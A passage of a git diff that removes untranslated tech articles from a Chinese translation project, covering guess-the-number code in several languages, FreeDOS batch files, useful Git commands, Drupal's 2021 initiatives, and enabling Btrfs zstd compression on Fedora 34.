one value is less than or greater than another and prints an appropriate message to the user. - -Racket | `  (cond [(> number guess) (displayln "Too low") (inquire-user number)]         [(< number guess) (displayln "Too high") (inquire-user number)]         [else (displayln "Correct!")])) ` ----|--- -Python | `    if guess < random:         print("Too low")     elif guess > random:         print("Too high")     else:         print("That's right!") ` -Elixir | `    cond do       guess < num ->         IO.puts "Too low!"         guess_loop(num)       guess > num ->         IO.puts "Too high!"         guess_loop(num)       true ->         IO.puts "That's right!"     end ` -Bash | `        [ "0$guess" -lt $number ] && echo "Too low"         [ "0$guess" -gt $number ] && echo "Too high" ` -Fortran | `      IF (GUESS.LT.NUMBER) THEN          PRINT *, 'TOO LOW'       ELSE IF (GUESS.GT.NUMBER) THEN          PRINT *, 'TOO HIGH'       ENDIF ` - -### Read more - -This "guess the number" game is a great introductory program when learning a new programming language because it exercises several common programming concepts in a pretty straightforward way. By implementing this simple game in different programming languages, you can demonstrate some core concepts and compare each language's details. - -Learn how to write the "guess the number" game in C and C-like languages: - - * [C][2], by Jim Hall - * [C++][3], by Seth Kenlon - * [Rust][4], by Moshe Zadka - * [Java][5], by Seth Kenlon - * [Groovy][6], by Chris Hermansen - * [JavaScript][7], by Mandy Kendall - * [awk][8], by Chris Hermansen - * [Lua][9], by Seth Kenlon - - - -And in non-C-based languages: - - * [Racket][10], by Cristiano L. Fontana - * [Python][11], by Moshe Zadka - * [Elixir][12], by Moshe Zadka - * [Bash][13], by Jim Hall - * [Fortran][14], by Jim Hall - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/compare-programming-languages - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_development_programming.png?itok=M_QDcgz5 (Developing code.) -[2]: https://opensource.com/article/21/1/learn-c -[3]: https://opensource.com/article/20/12/learn-c-game -[4]: https://opensource.com/article/20/12/learn-rust -[5]: https://opensource.com/article/20/12/learn-java -[6]: https://opensource.com/article/20/12/groovy -[7]: https://opensource.com/article/21/1/learn-javascript -[8]: https://opensource.com/article/21/1/learn-awk -[9]: https://opensource.com/article/20/12/lua-guess-number-game -[10]: https://opensource.com/article/21/1/racket-guess-number -[11]: https://opensource.com/article/20/12/learn-python -[12]: https://opensource.com/article/20/12/elixir -[13]: https://opensource.com/article/20/12/learn-bash -[14]: https://opensource.com/article/21/1/fortran diff --git a/sources/tech/20210407 Get started with batch files in FreeDOS.md b/sources/tech/20210407 Get started with batch files in FreeDOS.md deleted file mode 100644 index 35773d3a1c..0000000000 --- a/sources/tech/20210407 Get started with batch files in FreeDOS.md +++ /dev/null @@ -1,225 +0,0 @@ -[#]: subject: (Get started with batch files in FreeDOS) -[#]: via: (https://opensource.com/article/21/3/batch-files-freedos) -[#]: author: (Kevin O'Brien https://opensource.com/users/ahuka) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get started with batch files in FreeDOS -====== -Batch files are a great way to write your own simple programs and -automate tasks that normally require lots of typing. -![Computer screen with files or windows open][1] - -On Linux, it's common to create _shell scripts_ to automate repetitive tasks. Similarly, on [FreeDOS][2], the open source implementation of old DOS operating systems, you can create a _batch file_ containing several FreeDOS commands. Then you can run your batch file to execute each command in order. - -You create a batch file by using an ASCII text editor, such as the FreeDOS Edit application. Once you create a batch file, you save it with a file name and the extension `.bat`. The file name should be unique. If you use a FreeDOS command name as your own file name, the FreeDOS command probably will execute instead of your batch file. - -Virtually all internal and external FreeDOS commands can be used in a batch file. When you create a batch file, you are essentially writing a program. FreeDOS batch files may not have the power of a structured programming language, but they can be very handy for quick but repetitive tasks. - -### Commenting your code - -The No. 1 good habit for any programmer to learn is to put comments in a program to explain what the code is doing. This is a very good thing to do, but you need to be careful not to fool the operating system into executing your comments. The way to avoid this is to place `REM` (short for "remark") at the beginning of a comment line. - -FreeDOS ignores lines starting with `REM`. But anyone who looks at the source code (the text you've written in your batch file) can read your comments and understand what it's doing. This is also a way to temporarily disable a command without deleting it. Just open your batch file for editing, place `REM` at the beginning of the line you want to disable, and save it. When you want to re-enable that command, just open the file for editing and remove `REM`. This technique is sometimes referred to as "commenting out" a command. - -### Get set up - -Before you start writing your own batch files, I suggest creating a temporary directory in FreeDOS. This can be a safe space for you to play around with batch files without accidentally deleting, moving, or renaming important system files or directories. On FreeDOS, you [create a directory][3] with the `MD` command: - - -``` -C:\>MD TEMP -C:\>CD TEMP -C:\TEMP> -``` - -The `ECHO` FreeDOS command controls what is shown on the screen when you run a batch file. For instance, here is a simple one-line batch file: - - -``` -`ECHO Hello world` -``` - -If you create this file and run it, you will see the sentence displayed on the screen. The quickest way to do this is from the command line: Use the `COPY` command to take the input from your keyboard (`CON`) and place it into the file `TEST1.BAT`. Then press **Ctrl**+**Z** to stop the copy process, and press Return or Enter on your keyboard to return to a prompt. - -Try creating this file as `TEST1.BAT` in your temporary directory, and then run it: - - -``` -C:\TEMP>COPY CON TEST1.BAT -CON => TEST1.BAT -ECHO Hello world -^Z - -C:\TEMP>TEST1 -Hello world -``` - -This can be useful when you want to display a piece of text. For instance, you might see a message on your screen telling you to wait while a program finishes its task, or in a networked environment, you might see a login message. - -What if you want to display a blank line? You might think that the `ECHO` command all by itself would do the trick, but the `ECHO` command alone asks FreeDOS to respond whether `ECHO` is on or off: - - -``` -C:\TEMP>ECHO -ECHO is on -``` - -The way to get a blank line is to use a `+` sign immediately after `ECHO`: - - -``` -C:\TEMP>ECHO+ - -C:\TEMP> -``` - -### Batch file variables - -A variable is a holding place for information you need your batch file to remember temporarily. This is a vital function of programming because you don't always know what data you want your batch file to use. Here's a simple example to demonstrate. - -Create `TEST3.BAT`: - - -``` -@MD BACKUPS -COPY %1 BACKUPS\%1 -``` - -Variables are signified by the use of the percentage symbol followed by a number, so this batch file creates a `BACKUPS` subdirectory in your current directory and then copies a variable `%1` into a `BACKUPS` folder. What is this variable? That's up to you to decide when you run the batch file: - - -``` -C:\TEMP>TEST3 TEMP1.BAT -TEST1.BAT => BACKUPS\TEST1.BAT -``` - -Your batch file has copied `TEST1.BAT` into a subdirectory called `BACKUPS` because you identified that file as an argument when running your batch file. Your batch file substituted `TEST1.BAT` for `%1`. - -Variables are positional. The variable `%1` is the first argument you provide to your command, while `%2` is the second, and so on. Suppose you create a batch file to list the contents of a directory: - - -``` -`DIR %1` -``` - -Try running it: - - -``` -C:\TEMP>TEST4.BAT C:\HOME -ARTICLES -BIN -CHEATSHEETS -GAMES -DND -``` - -That works as expected. But this fails: - - -``` -C:\TEMP>TEST4.BAT C:\HOME C:\DOCS -ARTICLES -BIN -CHEATSHEETS -GAMES -DND -``` - -If you try that, you get the listing of the first argument (`C:\HOME`) but not of the second (`C:\DOCS`). This is because your batch file is only looking for one variable (`%1`), and besides, the `DIR` command can take only one directory. - -Also, you don't really need to specify a batch file's extension when you run it—unless you are unlucky enough to pick a name for the batch file that matches one of the FreeDOS external commands or something similar. When FreeDOS executes commands, it goes in the following order: - - 1. Internal commands - 2. External commands with the *.COM extension - 3. External commands with the *.EXE extension - 4. Batch files - - - -### Multiple arguments - -OK, now rewrite the `TEST4.BAT` file to use a command that takes two arguments so that you can see how this works. First, create a simple text file called `FILE1.TXT` using the `EDIT` application. Put a sentence of some kind inside (e.g., "Hello world"), and save the file in your `TEMP` working directory. - -Next, use `EDIT` to change your `TEST4.BAT` file: - - -``` -COPY %1 %2   -DIR -``` - -Save it, then execute the command: - - -``` -`C:\TEMP\>TEST4 FILE1.TXT FILE2.TXT` -``` - -Upon running your batch file, you see a directory listing of your `TEMP` directory. Among the files listed, you have `FILE1.TXT` and `FILE2.TXT`, which were created by your batch file. - -### Nested batch files - -Another feature of batch files is that they can be "nested," meaning that one batch file can be called and run inside another batch file. To see how this works, start with a simple pair of batch files. - -The first file is called `NBATCH1.BAT`: - - -``` -@ECHO OFF -ECHO Hello -CALL NBATCH2.BAT   -ECHO world -``` - -The first line (`@ECHO OFF`) quietly tells the batch file to show only the output of the commands (not the commands themselves) when you run it. You probably noticed in previous examples that there was a lot of feedback about what the batch file was doing; in this case, you're permitting your batch file to display only the results. - -The second batch file is called NBATCH2.BAT: - - -``` -`echo from FreeDOS` -``` - -Create both of these files using `EDIT`, and save them in your TEMP subdirectory. Run `NBATCH1.BAT` to see what happens: - - -``` -C:\TEMP\>NBATCH1.BAT   -Hello -from FreeDOS -world -``` - -Your second batch file was executed from within the first by the `CALL` command, which provided the string "from FreeDOS" in the middle of your "Hello world" message. - -### FreeDOS scripting - -Batch files are a great way to write your own simple programs and automate tasks that normally require lots of typing. The more you use FreeDOS, the more familiar you'll become with its commands, and once you know the commands, it's just a matter of listing them in a batch file to make your FreeDOS system make your life easier. Give it a try! - -* * * - -_Some of the information in this article was previously published in [DOS lesson 15: Introduction to batch files][4] and [DOS lesson 17: Batch file variables; nested batch files][5] (both CC BY-SA 4.0)._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/batch-files-freedos - -作者:[Kevin O'Brien][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ahuka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://www.freedos.org/ -[3]: https://opensource.com/article/21/2/freedos-commands-you-need-know -[4]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-15-introduction-to-batch-files/ -[5]: https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-17-batch-file-variables-nested-batch-files/ diff --git a/sources/tech/20210408 5 commands to level-up your Git game.md b/sources/tech/20210408 5 commands to level-up your Git game.md deleted file mode 100644 index 50c6eb383b..0000000000 --- a/sources/tech/20210408 5 commands to level-up your Git game.md +++ /dev/null @@ -1,67 +0,0 @@ -[#]: subject: (5 commands to level-up your Git game) -[#]: via: (https://opensource.com/article/21/4/git-commands) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 commands to level-up your Git game -====== -Get more use out of Git by adding these commands to your repertoire. -![Business woman on laptop sitting in front of window][1] - -If you use Git regularly, you might be aware that it has several reputations. It's probably the most popular version-control solution and is used by some of the [biggest software projects][2] around to [keep track of changes][3] to files. It provides a [robust interface][4] to review and incorporate experimental changes into existing documents. It's well-known for its flexibility, thanks to [Git hooks][5]. And partly because of its great power, it has earned its reputation for being complex. - -You don't have to use all of Git's many features, but if you're looking to delve deeper into Git's subcommands, here are some that you might find useful. - -### 1\. Finding out what changed - -If you're familiar with Git's basics (`fetch`, `add`, `commit`, `push`, `log`, and so on) but you want to learn more, Git subcommands that query are a great, safe place to start. Querying your Git repository (your _work tree_) doesn't make any changes; it's only a reporting mechanism. You're not risking the integrity of your Git checkout; you're only asking Git about its status and history. - -The [git whatchanged][6] command (almost a mnemonic itself) is an easy way to see what changed in a commit. A remarkably user-friendly command, it squashes the best features of `show` and `diff-tree` and `log` into one easy-to-remember command. - -### 2\. Managing changes with git stash - -The more you use Git, the more you use Git. That is, once you've become comfortable with the power of Git, the more often you use its powerful features. Sometimes, you may find yourself in the middle of working with a batch of files when you realize some other task is more urgent. With [git stash][7], you can gather up all the pieces of your work in progress and stash them away for safekeeping. With your workspace decluttered, you can turn your attention to some other task and then reapply stashed files to your work tree later to resume work. - -### 3\. Making a linked copy with git worktree - -When `git stash` isn't enough, Git also provides the powerful [git worktree][8] command. With it, you can create a new but _linked_ clone of your repository, forming a new branch and setting `HEAD` to whatever commit you want to base your new work on. In this linked clone, you can work on a task unrelated to what your primary clone is focused on. It's a good way to keep your work in progress safe from unintended changes. When you're finished with your new work tree, you can push your new branch to a remote, bundle the changes into an archive for later, or just fetch the changes from your other tree. Whatever you decide, your workspaces are kept separate, and the changes in one don't have to affect changes in the other until you are ready to merge. - -### 4\. Selecting merges with git cherry-pick - -It may seem counterintuitive, but the better at Git you get, the more merge conflicts you're likely to encounter. That's because merge conflicts aren't necessarily signs of errors but signs of activity. Getting comfortable with merge conflicts and how to resolve them is an important step in learning Git. The usual methods work well, but sometimes you need greater flexibility in how you merge, and for that, there's [git cherry-pick][9]. Cherry-picking merges allows you to be selective in what parts of commits you merge, so you never have to reject a merge request based on a trivial incongruity. - -### 5\. Managing $HOME with Git - -Managing your home directory with Git has never been easier, and thanks to Git's ability to be selective in what it manages, it's a realistic option for keeping your computers in sync. To work well, though, you must do it judiciously. To get started, read my tips on [managing $HOME with Git][10]. - -### Getting better at Git - -Git is a powerful version-control system, and the more comfortable you become with it, the easier it becomes to use it for complex tasks. Try some new Git commands today, and share your favorites in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/git-commands - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) -[2]: https://opensource.com/article/19/10/how-gnome-uses-git -[3]: https://opensource.com/article/18/2/how-clone-modify-add-delete-git-files -[4]: https://opensource.com/article/18/5/git-branching -[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 -[6]: https://opensource.com/article/21/3/git-whatchanged -[7]: https://opensource.com/article/21/3/git-stash -[8]: https://opensource.com/article/21/3/git-worktree -[9]: https://opensource.com/article/21/3/reasons-use-cherry-picking -[10]: https://opensource.com/article/21/3/git-your-home diff --git a/sources/tech/20210413 What-s new with Drupal in 2021.md b/sources/tech/20210413 What-s new with Drupal in 2021.md deleted file mode 100644 index c53b7d678b..0000000000 --- a/sources/tech/20210413 What-s new with Drupal in 2021.md +++ /dev/null @@ -1,148 +0,0 @@ -[#]: subject: (What's new with Drupal in 2021?) -[#]: via: (https://opensource.com/article/21/4/drupal-updates) -[#]: author: (Shefali Shetty https://opensource.com/users/shefalishetty) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -What's new with Drupal in 2021? -====== -Its newest initiatives include decoupled menus, automated updates, and -other usability-focused updates. -![Computer screen with files or windows open][1] - -The success of open source projects is largely carried by the pillars of the community and group collaborations. Without putting a stake in the ground to achieve strategic initiatives, an open source project can lose focus. Open source strategic initiatives should aim at solving impactful problems through collaboration involving the project's stakeholders. - -### The why and how of Drupal's strategic initiatives - -As one of the leading open source projects, [Drupal][2]'s success largely thrives on implementing its various proposed strategic initiatives. Drupal's focus on strategic initiatives and continuous innovation since Drupal 7 brought huge architectural changes in Drupal 8, 9, and beyond that offer a platform for continuous innovation on the web and an easy upgrade path for end users. - -The vision for Drupal's core strategic initiatives is determined by Dries Buytaert, Drupal project lead. These initiatives are backed by community collaboration and lead to significant developments driven by forces like: - - * Collaboration with the core maintainers - * Survey data and usability studies - * A vision to build a leading open source digital experience platform - * Relevancy in the market by improving editorial, developer, and customer experiences - * Validation by broader community discussions and collaborations - - - -Once initiatives are **proposed**, they move ahead to the **planned** initiatives stage, where each initiative is nurtured with detailed plans and goals by a strong team of contributors. When an initiative passes through this stage, it moves to the **active** initiatives stage. Here's where the initiatives take structure and come alive. - -Some of the most successful Drupal 8 initiatives, like Twig and Bigpipe, did not follow the traditional process. However, following a thoughtfully planned process will avoid a lot of [bike-shedding][3]. - -### Popular past initiatives - -In 2011, at DrupalCon Chicago, Dries announced that Drupal 8 would feature core initiatives that would cause big changes to Drupal's architecture. To support the transition, each initiative would have a few leads involved in decision-making and coordination with Dries. Some popular initiatives included: - - * **Configuration Management Initiative (CMI):** This was the first key initiative announced at the 2011 DrupalCon. The idea was to offer site builders more powerful, flexible, and traceable configuration handling in Drupal 8 core. As planned, the Configuration Manager module is now a Drupal 8 core module that allows deploying configurations between different environments easily. - * **Web Services and Context Core Initiative:** This initiative aimed at embracing a modern web and turned Drupal into a first-class REST server with a first-class content management system (CMS) on top of it. The result? Drupal is now a competent REST server providing the ability to manage content entities through HTTP requests. This is part of why Drupal has been the leading CMS for decoupled experiences for several years. - * **Layout Initiative:** This initiative's focus was on improving and simplifying the site-building experience by non-technical users, like site builders and content authors. This initiative came alive in Drupal 8 by introducing the Layout Discovery API (a Layout plugin API) in v.8.4 and the Layout Builder module (a complete layout management solution) in v.8.5 core. - * **Media Initiative:** The Media Initiative was proposed to launch a rich, intuitive, easy-to-use, API-based media solution with extensible media functionalities in the core. This resulted in bringing in the Media API (which manages various operations on media entities) and Media Library (a rich digital asset management tool) to Drupal 8 core. - * **Drupal 9 Readiness Initiative:** The focus of this initiative was to get Drupal 9 ready by June 3, 2020, so that Drupal 7 and 8 users had at least 18 months to upgrade. Since Drupal 9 is just a cleaned-up version of the last version of Drupal 8 (8.9), the idea was to update dependencies and remove any deprecated code. And as planned, Drupal 9 was successfully released on June 3, 2020. Drupal 8-compatible modules were ported to Drupal 9 faster than any major version upgrade in Drupal's history, with more than 90% of the top 1,000 modules already ported (and many of the remaining now obsolete). - - - -### The new strategic initiatives - -Fast-forward to 2021, where everything is virtual. DrupalCon North America will witness a first-of-its-kind "Initiative Days" event added to the traditional DrupalCon content. Previously, initiatives were proposed during the [Driesnote][4] session, but this time, initiatives are more interactive and detailed. DrupalCon North America 2021 participants can learn about an initiative and participate in building components and contributing back to the project. - -#### The Decoupled Menus Initiative - -Dries proposed the Decoupled Menus Initiative in his keynote speech during DrupalCon Global 2020. While this initiative's broader intent is to make Drupal the best decoupled CMS, to accomplish the larger goal, the project chose to work on decoupled menus as a first step because menus are used on every project and are not easy to implement in decoupled architectures. - -The goals of this initiative are to build APIs, documentation, and examples that can: - - * Give JavaScript front-end developers the best way to integrate Drupal-managed menus into their front ends. - * Provide site builders and content editors with an easy-to-use experience to build and update menus independently. - - - -This is because, without web services for decoupled menus in Drupal core, JavaScript developers are often compelled to hard-code menu items. This makes it really hard for a non-developer to edit or remove a menu item without getting a developer involved. The developer needs to make the change, build the JavaScript code, and then deploy it to production. With the Decoupled Menus Initiative, the developer can easily eliminate all these steps and many lines of code by using Drupal's HTTP APIs and using JavaScript-focused resources. - -The bigger idea is to establish patterns and a roadmap that can be adapted to solve other decoupled problems. At DrupalCon 2021, on the [Decoupled Menus Initiative day][5], April 13, you can both learn about where it stands and get involved by building custom menu components and contributing them back to the project. - -#### The Easy Out-Of-The-Box Initiative - -During DrupalCon 2019 in Amsterdam, CMS users were asked about their perceptions of their CMS. The research found that beginners did not favor Drupal as much as intermediate- and expert-level users. However, it was the opposite for other CMS users; they seemed to like their CMS less over time. - -![CMS users' preferences][6] - -([Driesnote, DrupalCon Global 2020][7]) - -Hence, the Easy Out-Of-The-Box Initiative's goal is to make Drupal easy to use, especially for non-technical users and beginners. It is an extension of the great work that has been done for Layouts, Media, and Claro. Layout Builder's low-code design flexibility, Media's robust management of audio-visual content, and Claro's modern and accessible administrative UI combine to empower less-technical users with the power Drupal has under the hood. - -This initiative bundles all three of these features into one initiative and aims to provide a delightful user experience. The ease of use can help attract new and novice users to Drupal. On April 14, DrupalCon North America's [Easy Out-Of-The-Box Initiative day][8], the initiative leads will discuss the initiative and its current progress. Learn about how you can contribute to the project by building a better editorial experience. - -#### Automated Updates Initiative - -The results of a Drupal survey in 2020 revealed that automated updating was the most frequently requested feature. Updating a Drupal site manually can be tedious, expensive, and time-consuming. Luckily, the initiative team has been on this task since 2019, when the first prototype for the Automated Update System was developed as a [contributed module][9]. The focus of the initiative now is to bring this feature into Drupal core. As easy as it may sound, there's a lot more work that needs to go in to: - - * Ensure site readiness for a safe update - * Integrate composer - * Verify updates with package signing - * Safely apply updates in a way that can be rolled back in case of errors - - - -In its first incarnation, the focus is on Drupal Core patch releases and security updates, but the intent is to support the contributed module ecosystem as well. - -The initiative intends to make it easier for small to midsized businesses that sometimes overlook the importance of updating their Drupal site or struggle with the manual process. The [Automated Updates Initiative day][10] is happening on April 15 at DrupalCon North America. You will get an opportunity to know more about this initiative and get involved in the project. - -#### Drupal 10 Readiness Initiative - -With the release of Drupal 10 not too far away (as early as June 2022), the community is gearing up to welcome a more modern version of Drupal. Drupal now integrates more third-party technologies than ever. Dependencies such as Symfony, jQuery, Guzzle, Composer, CKEditor, and more have their own release cycles that Drupal needs to align with. - -![CMS Release Cycles][11] - -([Driesnote, DrupalCon 2020][7]) - -The goal of the initiative is to get Drupal 10 ready, and this involves: - - * Releasing Drupal 10 on time - * Getting compatible with the latest versions of the dependencies for security - * Deprecating the dependencies, libraries, modules, and themes that are no longer needed and removing them from Drupal 10 core. - - - -At the [Drupal 10 Readiness Initiative day][12], April 16, you can learn about the tools you'll use to update your websites and modules from Drupal 9 to Drupal 10 efficiently. There are various things you can do to help make Drupal better. Content authors will get an opportunity to peek into the new CKEditor 5, its new features, and improved editing experience. - -### Learn more at DrupalCon - -Drupal is celebrating its 20th year and its evolution to a more relevant, easier to adopt open source software. Leading an evolution is close to impossible without taking up strategic initiatives. Although the initial initiatives did not focus on offering great user experiences, today, ease of use and out-of-the-box experience are Drupal's most significant goals. - -Our ambition is to create software that works for everyone. At every DrupalCon, the intent is to connect with the community that fosters the same belief, learn from each other, and ultimately, build a better Drupal. - -[DrupalCon North America][13], hosted by the Drupal Association, is the largest Drupal event of the year. Drupal experts, enthusiasts, and users will unite online April 12–16, 2021, share lessons learned and best practices, and collaborate on creating better, more engaging digital experiences. PHP and JavaScript developers, designers, marketers, and anyone interested in a career in open source will be able to learn, connect, and build by attending DrupalCon. - -The [Drupal Association][14] is the nonprofit organization focused on accelerating Drupal, fostering the Drupal community's growth, and supporting the project's vision to create a safe, secure, and open web for everyone. DrupalCon is the primary source of funding for the Drupal Association. Your support and attendance at DrupalCon make our work possible. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/4/drupal-updates - -作者:[Shefali Shetty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/shefalishetty -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://www.drupal.org/ -[3]: https://en.wikipedia.org/wiki/Law_of_triviality -[4]: https://events.drupal.org/global2020/program/driesnote -[5]: https://events.drupal.org/northamerica2021/decoupled-menus-day -[6]: https://opensource.com/sites/default/files/uploads/cms_preferences.png (CMS users' preferences) -[7]: https://youtu.be/RIeRpLgI1mM -[8]: https://events.drupal.org/northamerica2021/easy-out-box-day -[9]: http://drupal.org/project/automatic_updates/ -[10]: https://events.drupal.org/northamerica2021/automatic-updates-day -[11]: https://opensource.com/sites/default/files/uploads/cms_releasecycles.png (CMS Release Cycles) -[12]: https://events.drupal.org/northamerica2021/drupal-10-readiness-day -[13]: https://events.drupal.org/northamerica2021?utm_source=replyio&utm_medium=email&utm_campaign=DCNA2021-20210318 -[14]: https://www.drupal.org/association diff --git a/sources/tech/20210414 Fedora Workstation 34 feature focus- Btrfs transparent compression.md b/sources/tech/20210414 Fedora Workstation 34 feature focus- Btrfs transparent compression.md deleted file mode 100644 index 530feb0a03..0000000000 --- a/sources/tech/20210414 Fedora Workstation 34 feature focus- Btrfs transparent compression.md +++ /dev/null @@ -1,145 +0,0 @@ -[#]: subject: (Fedora Workstation 34 feature focus: Btrfs transparent compression) -[#]: via: (https://fedoramagazine.org/fedora-workstation-34-feature-focus-btrfs-transparent-compression/) -[#]: author: (nickavem https://fedoramagazine.org/author/nickavem/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Fedora Workstation 34 feature focus: Btrfs transparent compression -====== - -![][1] - -Photo by [Patrick Lindenberg][2] on [Unsplash][3] - -The release of Fedora 34 grows ever closer, and with that, some fun new features! A [previous feature focus][4] talked about some changes coming to GNOME version 40. This article is going to go a little further under the hood and talk about data compression and _transparent compression_ in _btrfs_. A term like that may sound scary at first, but less technical users need not be wary. This change is simple to grasp, and will help many Workstation users in several key areas. - -### What is transparent compression exactly? - -Transparent compression is complex, but at its core it is simple to understand: it makes files take up less space. It is somewhat like a compressed tar file or ZIP file. Transparent compression will dynamically optimize your file system’s bits and bytes into a smaller, reversible format. This has many benefits that will be discussed in more depth later on, however, at its core, it makes files smaller. This may leave most computer users with a question: “I can’t just read ZIP files. You need to decompress them. Am I going to need to constantly decompress things when I access them?”. That is where the “transparent” part of this whole concept comes in. - -Transparent compression makes a file smaller, but the final version is indistinguishable from the original by the human viewer. If you have ever worked with Audio, Video, or Photography you have probably heard of the terms “lossless” and “lossy”. Think of transparent compression like a lossless compressed PNG file. You want the image to look exactly like the original. Small enough to be streamed over the web but still readable by a human. Transparent compression works similarly. Your file system will look and behave the same way as before (no ZIP files everywhere, no major speed reductions). Everything will look, feel, and behave the same. However, in the background it is taking up much less disk space. This is because BTRFS will dynamically compress and decompress your files for you. It’s “Transparent” because even with all this going on, you won’t notice the difference. - -> You can learn more about transparent compression at - -### Transparent compression sounds cool, but also too good to be true… - -I would be lying if I said transparent compression doesn’t slow some things down. It adds extra CPU cycles to pretty much any I/O operation, and can affect performance in certain scenarios. However, Fedora is using the extremely efficient _zstd:1_ algorithm. [Several tests][5] show that relative to the other benefits, the downsides are negligible (as I mentioned in my explanation before). Better disk space usage is the greatest benefit. You may also receive reduction of write amplification (can increase the lifespan of SSDs), and enhanced read/write performance. - -Btrfs transparent compression is extremely performant, and chances are you won’t even notice a difference when it’s there. - -### I’m convinced! How do I get this working? - -In fresh **installations of Fedora 34 and its [corresponding beta][6], it should be enabled by default. However, it is also straightforward to enable before and after an upgrade from Fedora 33. You can even enable it in Fedora 33, if you aren’t ready to upgrade just yet. - - 1. (Optional) Backup any important data. The process itself is completely safe, but human error isn’t. - 2. To truly begin you will be editing your _[fstab][7]_. This file tells your computer what file systems exist where, and how they should be handled. You need to be cautious here, but only a few small changes will be made so don’t be intimidated. On an installation of Fedora 33 with the default Btrfs layout the _/etc/fstab_ file will probably look something like this: - - -``` - -``` - -<strong>$ $EDITOR /etc/fstab</strong> -UUID=1234 /                       btrfs   subvol=root     0 0 -UUID=1234 /boot                   ext4    defaults        1 2 -UUID=1234         /boot/efi               vfat    umask=0077,shortname=winnt 0 2 -UUID=1234 /home                   btrfs   subvol=home     0 0 -``` - -``` - -NOTE: _While this guide builds around the standard partition layout, you may be an advanced enough user to partition things yourself. If so, you are probably also advanced enough to extrapolate the info given here onto your existing system. However, comments on this article are always open for any questions._ - -Disregard the _/boot_ and _/boot/efi_ directories as they aren’t ([currently][8]) compressed. You will be adding the argument _compress=zstd:1_. This tells the computer that it should transparently compress any newly written files if they benefit from it. Add this option in the fourth column, which currently only contains the _subvol_ option for both /home and /: -``` - -``` - -UUID=1234 /                       btrfs   subvol=root,compress=zstd:1     0 0 -UUID=1234 /boot                   ext4    defaults        1 2 -UUID=1234         /boot/efi               vfat    umask=0077,shortname=winnt 0 2 -UUID=1234 /home                   btrfs   subvol=home,compress=zstd:1     0 0 -``` - -``` - -Once complete, simply save and exit (on the default _nano_ editor this is CTRL-X, SHIFT-Y, then ENTER). - -3\. Now that fstab has been edited, tell the computer to read it again. After this, it will make all the changes required: - -``` -$ sudo mount -o remount / /home/ -``` - -Once you’ve done this, you officially have transparent compression enabled for all newly written files! - -### Recommended: Retroactively compress old files - -Chances are you already have many files on your computer. While the previous configuration _will_ compress all newly written files, those old files will not benefit. I recommend taking this next (but optional) step to receive the full benefits of transparent compression. - - 1. (Optional) Clean out any data you don’t need (empty trash etc.). This will speed things up. However, it’s not required. - 2. Time to compress your data. One simple command can do this, but its form is dependent on your system. Fedora Workstation (and any other desktop spins using the DNF package manager) should use: - - - -``` -$ sudo btrfs filesystem defrag -czstd -rv / /home/ -``` - -Fedora Silverblue users should use: - -``` -$ sudo btrfs filesystem defrag -czstd -rv / /var/home/ -``` - -Silverblue users may take note of the immutability of some parts of the file system as described [here][9] as well as this [Bugzilla entry][10]. - -NOTE: _You may receive several warnings that say something like “Cannot compress permission denied.”. This is because some files, on Silverblue systems especially, the user cannot easily modify. This is a tiny subset of files. They will most likely compress on their own, in time, as the system upgrades._ - -Compression can take anywhere from a few minutes to an hour depending on how much data you have. Luckily, since all new writes are compressed, you can continue working while this process completes. Just remember it may partially slow down your work at hand and/or the process itself depending on your hardware. - -Once this command completes you are officially fully compressed! - -### How much file space is used, how big are my files - -Due to the nature of transparent compression, utilities like _du_ will only report exact, uncompressed, files space usage. This is not the actual space they take up on the disk. The [_compsize_][11] utility is the best way to see how much space your files are actually taking up on disk. An example of a _compsize_ command is: - -``` -$ sudo compsize -x / /home/ -``` - -This example provides exact information on how the two locations, / and /home/ are currently, transparently, compressed. If not installed, this utility is available in the Fedora Linux repository. - -### Conclusion: 